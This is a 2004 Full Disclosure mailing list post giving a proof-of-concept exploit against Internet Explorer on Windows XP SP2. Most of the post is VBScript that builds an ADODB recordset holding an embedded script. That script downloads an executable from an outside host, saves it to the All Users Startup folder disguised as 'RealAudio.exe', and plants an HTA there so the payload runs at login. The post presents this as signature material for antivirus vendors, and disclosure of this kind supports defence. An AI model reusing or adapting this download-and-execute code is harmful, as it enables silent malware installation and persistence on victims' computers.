Full Disclosure mailing list archives
YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2
From: "Michael Evanchik" <mevanchik () relationship1 com>
Date: Mon, 27 Dec 2004 01:49:25 -0500
PoC: http://www.michaelevanchik.com/security/microsoft/ie/xss/index.html Here is some new adodb code AVP's should add. No longer needed to connect to external source. Malicious recordset can be built locally. on error resume next set evanchik = CreateObject("ADODB.Recordset") With objRS .Fields.Append "evanchik", 200, "3000" Call .Open Call .AddNew .Fields("evanchik").Value = "meaning less shit i had to put here" Call .AddNew .Fields("evanchik").Value = "<script language=vbscript>: on error resume next : set o = CreateObject(""msxml2.XMLHTTP"") : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : o.send : set s = createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody : s.savetofile ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RealAudio.exe"",2 : </script>" Call .Update End With evanchik.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML evanchik.Close _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2 Michael Evanchik (Jan 06)